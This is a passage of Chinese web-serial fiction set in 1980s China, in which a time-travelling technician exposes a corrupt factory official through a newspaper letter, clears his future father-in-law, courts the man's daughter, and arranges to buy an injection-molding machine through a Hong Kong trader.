主编吞咽了一口口水,一个字一个字地将这篇报道读了出来。
众人也纷纷吞咽起口水。
这八零厂的人,是铁了心要整垮三阳厂吗?
这报道要是发出去,怕是三阳厂瞬间就得垮掉一半。
“老大,这报道咱们发吗?”其他年轻编辑面露担忧,开口询问道。
主编烦躁地点了根烟,猛地抽了好一会儿,最后狠狠一拍大腿,咬牙切齿道:“干了!这要是不发
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,这几天那些报纸就算是白卖给看报的人了!我有预感,咱们报纸这一刊的销量准能爆!”
“是!”得到主编首肯,其余编辑个个振奋起来。
他们在报社待了这么些年,还从未遇上过这么重磅的新闻。
国营工厂销售科主任****的事儿或许存在。
但被摆到明面上说,这还是头一遭。
“有才啊,有才!”报社主编拿着信反复端详,叹了口气道,“写这封信的人文字功底扎实,用词比你们这些科班出身学新闻的还要精准。”
有编辑一愣,没想到主编竟对一个圈外人评价这么高:“主编,不就是一封信吗?再写得好,能好到哪儿去?”
“哎,你们年轻,看不明白。”主编语气满是赞叹,“这封信里****的事儿固然关键,但写信的杜国强笔力绝对不浅。要是说事件本身能给这封信4分吸引力,那剩下6分全靠他讲故事的本事,让人一看就想接着读下去。”
众编辑听了,纷纷抢过信仔细看,还真品出了几分与众不同。
“确实写得好!主编,要不您跟八零厂说说,把这人挖到咱们报社来?”
主编摸了摸自己稀疏的胡须,陷入思索:“这小子说不定还真是个搞新闻的人才。这么好的叙事手段是咋琢磨出来的?”随即点点头,“也行,回头我问问八零厂。”
而杜国强压根不知道,自己不过写了封添油加醋的**,竟让报社主编给出如此高的评价。
其实杜国强没多少文学底子,对文字的理解只停留在字面。
他这信之所以写得抓人,全靠借鉴后世无良媒体的“沉浸式”手法——就像后世那些博眼球的标题。
例如——“震惊!80头母猪夜晚集体怀孕,究竟是何人所为?”
“震惊!75岁老太喝一杯药水竟返老还童,这究竟是什么灵丹妙药?”
这些在后世司空见惯的话术,放到当下这个年代,却足以产生降维打击的效果。
“还要多多感谢无良媒体。”
……
第43章 出大事了
报社的人加班加点,连刊登用的纸张都备了平日里五倍有余。
众人脸上不见丝毫疲惫,反倒神色激动——他们都等着看这期报纸究竟能卖出多少份。
一直忙活到第二天清晨,主编看着一车又一车的报纸运往各个辖区报亭,深吸一口气,满心期待着好消息。
……
朱庸是三阳厂的销售科主任。
他每天清晨都起得很早,倒不是为了锻炼,而是惦记着厂里的免费早餐。
虽说他父亲**胜已是三阳厂厂长,但工资微薄,朱庸只能靠自己“想办法”开源节流。
等朱庸到了食堂,众人像往常一样躲着他。
他倒不以为然,大大咧咧拿起餐盘,径直插队到饭口前,语气不耐烦:“三个鸡蛋,三根油条,老样子。”
食堂大妈叹了口气:“刘科长,厂里粮食有指标的。你多吃两个鸡蛋、两根油条,后面来晚的人可就没饭吃了。”
“那关我屁事?”朱庸冷笑,“谁让他们晚到的?俗话说早起的鸟儿有虫吃,可没听说晚起的也有份。吃不上就吃不上,要是有意见,让他们来找我!”
说罢,他直接伸手从盆里抓出鸡蛋和油条,打了一碗免费粥,便坐在座位上狼吞虎咽起来。
顺手从旁边桌子拿起当天新出的报纸,权当消遣,边吃边看。
忽然,他目光猛地定住——报纸上竟出现了自己的名字!
朱庸还以为眼花,揉了揉眼睛,那字迹却愈发清晰刺目:“关于三阳厂销售科主任朱庸****的说明”。
他读了一遍,神色大变,忍不住浑身一颤,脸色变得惨白,慌慌张张站起身,撒腿就朝父亲**胜的办公室狂奔而去。
有人这是要他死!
朱庸慌慌张张地跑到厂长办公室,还没进门就嚷嚷了起来。
“爸,不好了!”
看着跌跌撞撞的儿子,**胜皱着眉头问道:“大清早的,吵吵什么?又怎么了,能不能以后给我省点心,别再搞出什么乱子!”
“出大事了,您可得救我!”朱庸苦着脸,拉住自己亲爹的胳膊:“爸,有人诬陷我,说我****,还写了篇报道,已经登在报纸上了!”
“什么?你****?”**胜顿时慌了神,伸手一把将报纸拽过来。
他越看脸色越白,双手也忍不住颤抖起来。这报纸此刻在他眼里,简直就是朱庸的催命符。
“你真从安阳厂厂长那儿贪了一万多块钱?”**胜死死盯着自己的儿子。
朱庸低着头,小声嘟囔埋怨道:“也就不到一万,他非说是一万多……”
“混账东西!这种钱你都敢贪?”**胜勃然大怒,“啪”地甩给朱庸一个耳光子。
朱庸捂着自己火辣辣的脸,带着哭腔道:“爸,你打我,你骂我都行,先赶快把这事摆平啊,要不然我以后还咋做人啊?”
“你先别考虑做不做人了,先想想自己会不会坐牢吧!一万多块,你怎么敢的?”**胜声音都有些发颤,“这在现在可是有可能拉去**的罪行!”
这个年头,青年严打期还没到,绝大多数人的日子过得轻松惬意,街头巷尾还有不少待业在家的二流子。
若是几十块,**胜也就摆平了。
但是一万多块钱,显然已经到达了重大犯罪的级别。如果情形恶劣,十分有可能被**的。
尤其是像朱庸这种厂二代,被扣上****的名头,几乎没几个善终的。
**胜慌张道:“你快收拾收拾东西,这些日子先坐火车到南方去,找个地方待几年。看看情况再说。”
一听自己还得去南方躲着,朱庸也意识到了事情的严重性。他有些不死心,开口问道:“爸,就没有什么别的法子吗?我不想离开家啊。”
**胜气得“啪”地一个耳光子扇在朱庸脸上:“**早干什么吃的?要做,要么把事情做干净,别给人留下把柄。哪有像你这么蠢的?**了还横行霸道,生怕人家不知道是吧?”
“哎,也不知道这个叫杜
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国强的究竟是哪个混帐!”**胜咬牙切齿地说道,“要是让我知道了,非得整死他不可!”
**胜烦躁地从上衣兜里摸出一根烟,划燃火柴点上,闷头吸了两大口。
过了好一会儿,他才缓过劲来,扭头看向朱庸道:“这我给你拿些钱,看能不能把这事躲过去。”
朱庸一听,顿时愣住了,连忙说道:“爸,我现在还好端端的,不用离开家吧?”
“**管这叫好端端的?”**胜气不打一处来,抬手“啪”地扇了朱庸一个巴掌,顿时朱庸脸上火辣辣的。
“看来平日是把你娇生惯养惯了。你知道你捅出了多大的娄子吗?为了你,我怕是得欠下不少人情!”
**胜狠狠叫道。
朱庸听出了**胜话中那不同寻常的意思,连忙开口问道:“这么说,一切都是有机会的了吧?”
说到这,**胜脸上才有了丝笑意,神色带着些高傲地说道:“我认识几位领导,正好都是管你这事的。这些日子我带些礼品上门去,兴许几个月内你就能回乡了。”
朱庸大喜道:“爸,那我可就全指望着你了,您可得千万把我捞出去!”
说着,朱庸便按照父亲的嘱咐,戴上鸭舌帽,把自己捂得严严实实,踏上了南下的火车。
**胜则叫来自己的司机,吩咐道:“走,去拜访几位领导。”
车子一路疾驰,先后来到几位领导的住处。
然而,今天的情况格外古怪。往常对他还算客气的领导们,今天竟没有一个愿意和他多聊几句。
有的领导找借口推脱,说自己公务繁忙;有的甚至直接闭门不见,让**胜吃了闭门羹。
**胜站在一位领导的家门口,望着紧闭的大门,满心疑惑。
在他看来,凭借自己和这些领导的关系,再加上丰厚的礼品,帮儿子解决问题本是十拿九稳的事情,可如今怎么会这样呢?
大家可都是领导,他们怎么可能怕一些报纸上的污言秽语吗?
第44章 暂停一切工作
本来以为事儿已经十拿九稳了。
如今见状,**胜着急忙慌起来。
一想到自己那可怜的好大儿有可能就此被关进大牢,他便咬了咬牙,来了股浑劲儿。
“好,一个个的都不见我是吧?”
**胜来到领导家属院的草丛之中,往里面一钻,像个**一般,死死地蹲着,瞅着领导的家门。
过了四五个时辰,他的老胳膊老腿早已酸得不成样子。
好在那位领导总算是走下了楼。
**胜见状,“噌”的一下,如同一根箭一般直直地射了过去。
“**胜,你怎么还在这儿?”那位领导顿时一愣。
“老领导!哎呀,可算是见到您了。先前您家里的那位阿姨说您不在家,我说过一会来找找您看在不在,正巧这一下子便碰到了!”
老领导狐疑地瞅了瞅**胜身上的草叶子,又望了望不远处的草丛,知晓了一切。
他叹了口气,苦笑道:“德胜同志,你要说的事情,我已经从其他朋友口中得知了。你儿子,我没有办法,你还是另请高明吧。”
说罢,老领导便要转身离开。
**胜“扑通”一下跪在了地上,鼻涕眼泪糊成一团。
“领导,哪有您这么做事的?用得着人的时候朝前,用不着人的时候朝后。您说说,这些年我没少帮您家做事吧?光是您那两位孩子骑的自行车,就是我们厂的精品,都是不向大众售卖的!现在求您点事,有这么难吗?”
看到**胜这副死乞白赖的样子,那位老领导也是头疼不已,伸手想拽他起来。
“你这是做啥子?办不了就是办不了,你给我跪下也没用。不就是两辆自行车吗?好,缺多少钱我补给你!”说着,老领导便要从口袋里掏钱。
**胜一把死死拽住老领导的胳膊,面色满是绝望:“领导,这事就真的没办法商量吗?我儿子他也就犯了这么一回错,只要有人愿意给他个改过自新的机会,我想他还是有救的!”
老领导见状,叹了口气,开口对**胜说道:“实话告诉你吧。若是这事没几个人知道,我能办也就帮你办了。可现在呢?整个区的人都知道你儿子****的事情了,我若是再出手,那便是给别人找到了把柄。”
“可是您是领导啊!领导还怕些老百姓的埋怨不成?”**胜有些不甘心地开口道,“说到底,这事办没办,那些老百姓压根也不知道。大不了我让我儿子从此以后离开咱们省,再也不回来了。”
老领导摇了摇头,断然道:“没法整,这件事,区委那边已经表过态了,绝对不姑息。这是区长的意思。”
“什么?”**胜顿时一愣,他万万没想到这件事竟然牵扯到区长,“区长怎么会操心这种事?”
“这还得看写这份**的那个人。”老领导见状,也不再瞒着**胜,“对方叫杜国强,听说很是被区长看好,这次八零厂生产自行车的改革,一多半就是其在背后推动的。”
“现在更是跟港岛的大集团有了合作,是咱们区长眼中的香饽饽。对方提出来的事,倘若不办,有可能会造成人才流失,这是区长不愿意看到的,他还指望着这个杜国强给咱们区创收呢。”
“他是什么职称?在八零厂担什么职位?”**胜急切问道。
老领导摸了摸自己稀疏的胡子,努力回忆道:“我听说他好像不是八零厂的人,是你们三阳附属的一个小工厂的技术员,刚刚评上中级职称,还没多长时间呢。”
“一个小工厂的中级技术员?”**胜难以置信,自尊心仿佛被狠狠戳了一下。
倘若这事是八零厂的厂长或者**搞出来的,那他或许还能接受——毕竟对方与自己处于同一层次。
可如今,竟是一个厂里随手就能“拍死”的中级技术员,正大光明地踩在了自己头上!
**胜感受到了前所未有的**。
与老领导告别后,他索性回到三阳厂厂长办公室,想在寻找一下对策。
然而,还没等走到厂办公室,刚到厂门口,门口的保安便将他拦了下来。
“老李头,你这是做啥
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子?为啥不让我进去?”
老李头嘿嘿一笑,咳嗽了一声道:“厂长,朱大厂长,上边来消息了,说是暂停你的一切工作,禁止您再回到三阳厂内。您也就别为难我了,回家等通知吧。”
......
区委的动作很是迅速。
原本**胜以为,把儿子送出省,在南方找个地方躲上几年,这事兴许就能翻篇了。
可他万万没想到,自打那份报纸曝光消息的那一刻起,他儿子就已经被当地派出所盯上了。
当儿子去买火车票时,几个**一拥而上,“咔嚓”一声,将这位威风赫赫的三阳厂销售科主任铐了起来。
他白白胖胖的样子,活像一头即将被送上屠宰场的大肥猪。
……
“这小子干的荒唐事还不止这一件呢!听说他们厂子里不少人都对他心有怨言,纷纷写了**。有受尽欺负的,还有自家媳妇被他调戏的。你们安阳厂厂长的遭遇并不是个例。”
朱厂长笑着跟杜国强讲述朱勇**案的最新进展。
“现在倒是能还刘占福一个清白了,对方也是为国为民的好厂长。”
杜国强问道,“这么说我们厂长已经没事了?”
“也不能这么肯定。”朱厂长思索片刻,道,“毕竟他在某些方面还是有些错误的。不过这都不是什么大事,顶多被关个几天,连牢都不用坐。现在派出所那边希望你去通知刘占福这件事,让他来派出所报道。”
杜国强苦笑着摇了摇头:“我也联系不到他。”
自己那老丈人现在指不定在哪个桥洞猫着呢。
“联系不到?那这可就难办了。”朱厂长皱了皱眉头道“还指望着他回到安阳厂跟我好好配合呢。”
“我倒是知道点别的。”杜国强想了想道。
“刘占福厂长心里挂念自己女儿,隔段时间就会出现在他家楼下,就为了看看自己闺女是不是安全。”
朱厂长点了点头:“那这事倒是不难对付,回头我找几个**过去,跟你一起把这件事跟刘占福讲清楚。”
第45章 被逼无奈的老丈人
可怜巴巴的刘占福压根不知道,自己看好的准女婿早已在朱厂长面前将他卖了个一干二净,连他的情况都透露得一览无余。
他原本还以为自己行踪隐秘,堪称反侦查的高手。
也不知过了几天,刘占福实在是想闺女想得紧。
于是,他趁着天黑,悄咪咪地来到自家楼下。看到闺女在窗户前的桌子上打着灯学习,刘占福松了口气,扭头便想离开。
就在这时,刺眼的手电筒灯光猛地打在刘占福脸上,紧接着,周边又亮起几个手电筒。
一个穿着深绿色军装的人走了出来,朝刘占福喊道:“刘占福是吧?别跑了!”
听到这话,刘占福浑身一颤,嗷地喊了一嗓子,撒腿便朝着树林子跑去。
这突如其来的变故让众人一时没反应过来。
派出所的年轻干事愣了一下,转头询问杜国强:“他跑什么?”
杜国强嘴巴张大,尴尬地笑了两声:“他还不知道外面的事呢,以为你们是来抓他的。”
“嗨,这事闹的!千万别让老领导在外面风餐露宿受苦了!”
年轻干事指挥着同事,“赶快!跑起来,把老爷子追回来!”
几名年轻力壮的派出所干事追着刘占福,在树林子里狂奔起来。
毕竟年龄差距摆在那儿,刘占福跑了几步便气喘吁吁。
看着身后的追兵赶到。
他眼泪哗哗地流下来,心灰意冷。
看来自己这辈子完了,也不知道是要被**,还是得蹲一辈子大牢。
就在他停下脚步,万念俱灰之时,混在派出所干事里的杜国强擦了把汗,对刘占福埋怨道:“厂长,你跑这么快干什么?都多大岁数了!”
刘占福惊愕地看着准女婿、
无数念头在脑海中闪过,瞬间明白了一切——是这小子出卖了自己!
刘占福蹭地抄起旁边的木棍,挥舞着朝杜国强打去:“我打死你这个不要脸的东西!拿我去跟局里换功劳是吧?”
原本他以为杜国强是值得托付女儿的人,却没想到这小子竟是隐藏在群众里的坏人,就像当年把八路军消息透露给小鬼子的叛徒。
“奸细!你不得好死!”被制服的刘占福朝着杜国强怒吼。
“你这老同志,咋乱咬人呢?”派出所的干事们早听说了杜国强这些日子与三阳厂恶霸周旋的事迹,也知道正是因为杜国强,刘占福才有机会重获清白。
“警察同志,别说了,是我遇人不淑,我认了。”
刘占福绝望地主动伸出双手,“铐起来吧!告诉我闺女,她爹不是孬种,从没动过**的念头。”
他回想起往昔为厂子、为国家兢兢业业创收的辉煌岁月,心中满是感伤,一时豪情涌上心头,大声说道:“我刘占福一生光明磊落,绝无坏心,忠心耿耿,无愧于党员身份!即便同志们要**我,我也毫无怨言,只求……只求能善待我闺女!她可不能跟杜国强这样的**过日子!”刘占福双眼含泪,声音发颤。
周遭的干事们面面相觑,满脸疑惑。一名干事忍不住开口:“老领导,谁说您要蹲大牢、被**了?我们是请您来配合调查的,顶多在看守所待几天。”
“啥玩意儿?”刘占福愣住了,难以置信地伸手指向杜国强,“不是他把消息透露给你们,让你们来抓我进大牢的吗?”
那名干事没好气地瞥了刘占福一眼:“您这准女婿这些天为了您的事忙前忙后!您的通缉令早就取消了,清白也还给您了!”
“自己清白了?”刘占福一脸愕然,嘴巴张成O字形。
他扭头瞅瞅杜国强,又看看派出所的干事,见众人表情严肃不像是哄他,这才将信将疑地伸出手指着自己:“你们说的……确定是我?”
“厂长,您确实没事了。”杜国强这才将事情的来龙去脉细细说与刘占福听。
当听到三阳厂销售科主任已被抓进大牢、得到应有的惩罚时,刘占福瞬间喜上眉梢。
“好!好!好!你小子还真是有本事!没想到动动笔杆子,就能让那家伙恶有恶报!”
“派出所的同志们,我配合你们去调
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查。杜国强,你小子也赶快回厂里吧。”
杜国强心里正憋着气,刚才差点被这老小子抽一棍子呢,哪能这么轻易就翻篇?
他玩味道:“我不回厂里,我去你家。”
刘占福一愣道:“去我家干啥?”
“我得找刘静怡同志说道说道!”
杜国强道:“她亲爹冤枉我、给我乱扣帽子!得让刘静怡同学来评评这个理!”
听到这话,刘占福顿时慌了神,连忙一把抓住杜国强的胳膊:“刚才是叔不对,叔给你道歉了!”
杜国强咧嘴一笑:“不行!这事哪能这么轻易就算了?”
“你就原谅叔这一回吧!”刘占福咳嗽两声,急道,“这么多人看着呢,难不成你要叔给你跪下来赔礼道歉?”
“这倒是不用。”杜国强目光直直地望向刘占福,“但是您得答应我一件事情。”
“没问题,你说!”刘占福一口应下。
“以后我跟刘静怡自由恋爱,您可不准插手我们的事!”
完了,这小子在这儿等着我呢!
刘占福心里暗骂,早知道这小子没安好心。
可眼下这局面,他哪有说“不”的余地?
只得没好气地嘟囔:“你可给我照顾好我家闺女!”
杜国强倒是也没真跟自个的准老丈人生气,跟着他到派出所里忙里忙外,替老丈人办些事情。
刘占福见状,欣慰极了。
看来自己是看错了,这小子明明还是个不错的女婿嘛。
正当刘占福思索时,自己的闺女却猛地出现在了派出所——她已经从其他人的口中得知了亲爹没事的消息。
“爹,你真没**?你是被冤枉的?”
刘静怡的脸上挂着泪水。
刘占福看着朝自己缓缓靠近的闺女,欣慰地点了点头:“放心吧,闺女,爹没事。”
......
然而让刘占福没想到的是,刘静怡却越过了他,猛然扑在身后杜国强的怀里。
“杜国强,谢谢你!”
刘占福顿时感觉自己像小丑一般。
第46章 普及生理知识
刘占福瞪大了双眼,一时愣在原地。
还是派出所的干事率先开口打趣道:“嘿,光天化日的,你俩这是干啥呢?要叙旧,回自个家里面去。”
刘静怡赶忙跟派出所的干事道歉:“对不起同志,我实在是太激动了。”
随后,刘静怡扭头望向刘占福:“爹,你啥时候能回家?”
刘占福心灰意冷地摆了摆手:“不回了。干脆让我在这牢里坐一辈子算了。”
他满心不是滋味,自己辛苦养大的闺女,自己亲爹受难,道派出所反倒是先跟杜国强亲近。
可人家又刚救了自己,他满腔情绪无处发泄,只能嘟囔着:“养大闺女就忘了爹。我这老骨头,还是找个地方躲起来,不碍你们年轻人的眼了。”
说罢,便跟着干事走进审讯室。
杜国强拍刘静怡担心,安慰道:“放心吧,你爹就是配合调查,过几天就能出来。咱们先回去。”
刘静怡点点头,紧紧拉着杜国强的手,一同回到筒子楼。
夏日酷热难耐,三十多度的酷暑照在人身上,不一会便让汗液浸湿了衣裳。
刘静怡今天所穿的是一白丝衬衫,刚才走着一路,依然大汗淋漓,浑润的肌肤完美的展现出来。
胸前高耸的身材直入杜国强眼底,让其忍不住吞咽了一口口水,杜国强生怕自己压抑不住自己男人本色。
“送到了,那我先回去了。”
刘静怡却摇了摇头,牵着杜国强的手牵得更紧了。
“再陪我一会。”
刘静怡主动靠在了杜国强的肩膀上:“谢谢你,杜国强。要不是你,我爹他怕是真的一辈子得不到清白。”
“不碍事。”
杜国强正要开口安慰刘静怡两句,却见刘静怡猛地翻了个身,压在了杜国强的腿上,而后嘴唇猛地贴在了杜国强的嘴上。
笨拙地探索起来。
眼见这样,杜国强也索性不再压抑自己了。
他贪婪的在刘静怡身上索取着,少女细腻的肌肤像是白玉般。
身上的香汗让两个人的距离靠得更近。
一双不安分的大手在刘静怡身上肆意的探索着。
一直过了半个多时辰后,两人身体里这才沉静了不少。
刘静怡躺在杜国强怀里,脸蛋子红扑扑的,两人比以往更加亲密。
杜国强摸了摸自己的口袋,此刻他迫切想来上一根事后烟。
虽说刚刚两人只是肢体上的搂搂抱抱,并未发生实质性*关系,但那热烈的场景,对他这具初入社会的年轻身躯而言,刺激实在太过强烈。
可惜,翻遍口袋也没摸到烟,他这突然涌起的烟瘾,也不过是记忆里的一点残存。
“我去给你做饭。”
刘静怡恋恋不舍的从杜国强怀里爬起来,主动去了厨房。似乎已经把自己当成了替杜国强养家带娃的家庭主妇。
这时候一块吃饭是不是有些尴尬?
杜国强咳嗽了一声,朝厨房喊道:“静怡,要不我先回家吧?家里应该有饭给我留着。”
刘静怡道:“那怎么成!你刚才经历过那事,身体虚得很,得好好补补才是!”
杜国强脑袋里瞬间冒出一圈问号。
“刚才那事?”
直到刘静怡端着盘子从厨房出来,瓷盘里韭菜炒鸡蛋油亮鲜香,爆炒油腰子散发着淡淡特有的腥骚味,他这才恍然大悟。
刘静怡耳尖发红。
她低着头,手指绞着围裙边角道:“我听姐妹说,男人在那事之后得好好补补,要不然容易伤了元气。”
杜国强又好气又好笑,无奈道:“静怡,你怕不是误会什么了!咱俩刚才顶多就是……哪到需要补阳气的地步?你整这么多大补菜,我看着更不自在了!”
也难怪,这个年头人们对两性知识实在匮乏得很,尤其是家教严格的人,对此更是一片空白。
杜国强就记得,曾听闻有对夫妻结婚好几年都没孩子,两人一直以为是身体出了问题,心急火燎跑去医院检查。结果医生一问才发现,他们连同房是怎么回
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事都不清楚,连基本过程都没有,又哪来的结婚生子?
“你不想要我了?”刘静怡眼眶瞬间泛红,声音带着哽咽:“我听说好多男人在那种事后,就会嫌弃女生,拿走人家第一次后,转头就不想负责……你、你是不是也是这样?”
“青天大老爷!”杜国强哭笑不得,只能耐着性子,含糊地给刘静怡解释相关知识,想让她明白两人根本没到那一步。
可他又不敢说得太详细——在这个保守的年头,跟未婚女娃娃讲这些事,要是传出去,指不定被人戳着脊梁骨骂。
刘静怡听得云里雾里,一双杏眼满是困惑,到最后也没搞清楚两人刚才的亲昵举动究竟算什么。
杜国强见状,轻轻叹了口气,伸手温柔地拉起她的手。
他目光灼灼地望着她,语气坚定:“静怡,你别瞎想。不管有没有今天这事,我杜国强这辈子认定你了!我一定要娶你当媳妇,和你生一堆娃娃。”
刘静怡这才彻底放下心防,紧绷的肩膀松懈下来。
一个时辰后,晚餐总归是吃完了,食材虽不贵重,两人也不愿浪费。
只是苦了杜国强,先前的悸动尚未平复,这会儿又吃了不少温补的菜肴,只觉得浑身躁得慌。
担心自己再这样下去,怕是真要“爆体而亡”了。
吃完饭,杜国强跟着刘静怡在外面散步,慢悠悠地消食,直到天黑,这才晃回了家。
刚一进院子,母亲朱桂芳就急急忙忙迎上来,道:“你可算回来了!一天到晚不着家,又上哪野去了?”
杜国强心里暗自嘀咕:去给您未来的儿媳妇普及生理知识去了。
嘴上却不敢这么说,只含糊笑道:“我和刘静怡去周边转了转,欣赏了些风景。”
“还有这闲情逸致呢!”朱桂芳眉头一皱,朝客厅努了努嘴。
“港岛的那位大老板又找上门了,说你俩之前谈的事有眉目了。你到底跟人家说了什么?”她眼神里满是狐疑,紧紧盯着儿子。
第47章 新潮丝袜
朱桂芳拉着儿子,满脸担忧地劝导:“儿啊,妈可跟你说,那位是港商。我也不知道你俩到底聊了啥、达成了啥协议,但做事总得稳当些。现在对外关系还敏感,千万别捅娄子,让人抓着把柄!”
“妈,您这想到哪儿去了?就是正常谈生意。”杜国强无奈回应。可朱桂芳压根不信,总觉得儿子这个愣头青,怕是靠花言巧语把港商给忽悠了。
杜国强来到客厅,见竹青莲正专注端详家里的木质象棋盘,便开口询问。
“竹女士也懂象棋?”
竹青莲抬头见到事杜国强,微笑回应:“确实很有意思,不过我接触国内象棋不多,倒是从小就学过国际象棋。”
杜国强笑道:“其实玩法大差不差,本质都是博弈。上面刻汉字就是中国象棋,雕两个马头造型,就成了老外玩的国际象棋。”说着,他从棋篓拣出黑红棋子,将黑子留给自己,红子推给竹青莲,“来,我陪您杀两盘?”
对局中,竹青莲棋艺不俗,落子精准,却仍不敌杜国强这个老棋油子。几步交锋下来,杜国强如坐镇中军的将帅,不动声色掌控全局。
竹青莲惊觉时棋局已陷绝境:“我竟然输了?”
先前她说那话实际上是有些谦虚的,她下棋的水准很不错,在港岛是有棋手称号的。
“再来!”竹青莲被激起斗志,这种溃败的感觉非但没让她难过,反而让她觉得畅快。
杜国强只能被迫应局,玩起了人情世故,心思却有一半飘在九霄云外。
但即便分心,竹青莲也得拼尽全力才能勉强战平。
落子间隙,杜国强瞥见竹青莲穿着新潮丝袜——这种在港岛常见的时尚单品,但在国内要到90年代才普及,且一度被视作低俗象征。很多女人都不敢穿,觉得太过露骨。
竹青莲敏锐察觉杜国强的目光,唇角勾起玩味笑意:“看来杜先生对我的袜子很感兴趣?只要杜先生愿意成为我们玛瑞贸易正式员工,我不介意脱下来送你一条。”
正喝水的杜国强被呛得连连咳嗽,涨红着脸尴尬解释:“我、我就是随便看看!内地实在没见过这种款式……”
竹青莲看着杜国强窘迫的样子轻笑出声:“倒是头一回见杜先生这么尴尬呢。”
她不再逗趣,从随身包里取出一份文件递过去。
杜国强翻开,第一页赫然印着产品编号“东旺S937”。
“上次听你提过注塑机的事,”竹青莲解释,“我让国外同事找了两家最合适的——西德瑞兴和东旺。从这两地采购,产品运到内地的安全性很有保障。”
杜国强沉吟道:“既然竹女士把资料给我,想必西德那家已经被排除了?”
“没错。”竹青莲坦言,“论技术,西德分部的设备性能更优,但价格是日本东旺的三倍多——拿下它需要30万左右现金,而且对方只收西方货币,你还得把从我这儿拿的钱换成外汇才行。”
“东旺那边积极性很高。作为新兴企业,他们在注塑机领域还没形成技术壁垒。”
竹青莲指尖轻点文件,语速轻快,“我们调查发现,日本政府近期打算补贴东旺这类企业,全力推动技术研发,想帮他们抢占全球领先地位。我很看好这家公司的前景。”
杜国强若有所思地点头。
他早有耳闻,这段历史。
注塑机高端技术被西方牢牢攥在手中,正是日本企业加大研发投入,才撕开市场缺口。而国内也借此东风,找到了方向,实现本土注塑机技术的弯道超车。
“好,我觉得东旺很不错,那就请玛瑞贸易帮我从中牵线搭桥了。”杜国强说道。
竹青莲点了点头:“这台设备从原机购买、关税,还有我们的一些服务费用,加起来应该是十六万,在你向我借款的范围之内。买回来之后,你打算把这台设备放到哪里?八零厂吗?”
杜国强摇了摇头:“不,这设备是我自行花钱购买的,我要自己创办一家企业。”
竹青莲听了,顿时一愣:“在内地?”
“是的。”
“杜先生,我不知道你是怎么打算的,但是就我所知,你想在内地创办一
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家企业,怕是有些难度。”竹青莲皱了皱眉头道:竟内地的大部分企业还处于旧有模式,虽说这些年有所改变,积极引入外资和个人资本,但我依旧没见过几家私人运营的企业。”
杜国强点了点头:“确实如此,但是竹青莲小姐,你还没有注意到一件事情。”
“什么事?”竹青莲开口问道。
杜国强轻声回答:“国人骨子里那股想要成功的劲头。”
.....
开创私人企业,让国有资本退出,或是仅占很小一部分比重,这放在哪个地区都是一件惊天动地的大事。
可也正是如此,各地方的领导才会重视——谁都知道这是个了不起的创举,一旦塑造出这样的企业,是要被记在功劳簿上的。
所以,杜国强觉得自己若是提出创办私人企业,区里但不会反对,反倒是会大力支持。
“虽说我依旧觉得这件事希望不大,但这产品是你买的,自然由你来处理。如果你没有问题,就在这份协议的最后面签字。我会尽快和东旺方面沟通,先把产品送到港岛,再想办法运到大陆。”竹青莲说道。
杜国强听后点了点头,随即拿起合同,逐字逐句地细细查阅最后几页条款。、竹青莲见状,微微颔首。
她向来欣赏做事沉稳、有耐心的人。
要是杜国强不管不顾,直接大笔一挥签上名字,她反而要重新考量对方适合当合作伙伴吗?
确定合同内容无误后,杜国强大笔一挥签下自己的名字。
这件悬在心头的大事终于有了着落,他特意站起身,向竹青莲伸出手:“那就祝我们合作愉快!”
“合作愉快。”
竹青莲轻声回应,随后问道,“关于注塑机设备的操作使用,杜先生是打算亲自上手吗?”
杜国强摇了摇头,语气笃定:“不,我已经物色好了操作这台设备的人选。”
......
与此同时,安水村内,李天水突然忍不住打了个响亮的喷嚏,随后骂骂咧咧地嘟囔起来:“妈的,这是谁在念叨我呢?”
第48章 工作安排
李天水坐在炕上,望着在屋里屋外忙前忙后,又是挑水又是做饭的儿子,不禁深深皱起眉头,猛地嘬了一口烟袋。
他心里一阵悲凉。
这么好的娃子,咋就没有个正经单位愿意接收呢?
儿子李江两年前退伍,身高一米七出头,身材挺拔。
同村不少女娃娃都偷偷对他暗送秋波。
李天水原本想着,凭儿子这外形条件,再加上退伍军人的身份,到区里面找份工作应该不成问题。
可现实却让他发愁——即便他厚着脸皮,在各个领导面前低声下气地求情,也没能给儿子寻到一份工作。
有的领导甚至直言不讳。
“自己家孩子还没安排呢,凭啥安排你一个村支书的?”
无奈之下,李天水只能让儿子跟着老两口侍弄那几亩薄田。
眼瞅着儿子快三十了,没个正经工作。
曾经的那些条件出色姑娘们也不再像蜜蜂围着花似的凑上来了,各个嫁给了有工作、有编制的体面人。
想到这儿,李天水的心情愈发沉重。
就在这时,隔壁屋的电话“叮铃铃”地响了起来,打断了他的思绪。
李天水趿拉着拖鞋,快步走到隔壁村委会开会用的屋子,接起电话。
“你哪位?”
电话那头传来杜国强爽朗的笑声:“李**,是我,杜国强!上次您不是托我给孩子找工作吗?现在已经安排妥当了,让他尽快来城里找我报到!”
“杜国强!”李天水内心猛地一震,还真让这小子办妥了?
沉默片刻后,他才回过神来,连忙说道:“杜同志,您等着,我这就让我家小子去城里找您,好好谢谢您。”
杜国强应道:“好!我的地址是……”
......
挂断电话,李天水呆坐在炕头上。
儿子终于要有工作了。
他赶忙朝屋外喊道:“二毛子!别扇灶火了,拿上点钱票子,赶紧去城里!你爹给你找着工作了!”
“我不去。”正围着灶火忙活的二毛子闷声闷气地说道。
李天水顿时急了眼,嗓门一下拔高:“你这娃娃咋这么不求上进呢?非得和我们老两口一样,守着这点地种地是吧?”
“爹,不是……”李江一叹了口气,眼神里满是无奈,“您哪次说给我介绍工作,最后哪次成了?现在形势这么紧张,到处都是社会闲散青年,根本没地方愿意接收我们。您这次,肯定是上当受骗了。”
“这次不一样!”李天水道:“说话的是咱们区里面的大红人杜国强!就是上次在双水村子里,把那两大流氓送进牢里的那位!他亲自开的口,你好歹去看看!”
“杜国强?”李江一愣了愣,这个名字他最近可没少听。
如今,杜国强在这十里八乡风头无两——区长亲自出面保他,还把那些为虎作伥的恶霸一网打尽送进大牢。
平日里,村里的青年们聚在一起打扑克时,总爱聊起杜国强的事迹,一个个满脸羡慕,恨不得自己也能成为像他那样的人物。
“既然这样,那我去试试吧。”李江一从板凳上站起身,转身回到屋内,向母亲要了些路上用的钱和票子。
李天水在身后叮嘱道:“到人家里得守规矩!他要是真能给你安排上工作,就狠狠心,把咱家那点肉票全用上;要是没办成,也得表示表示。”
“晓得了。”李江一随口应了两句,抬脚便朝村外走去。
李天水本想骑着自行车送儿子一程,却被李江一婉拒了。
“山路远,来回得二三十公里呢,您这么一折腾,又得休养好几天。”
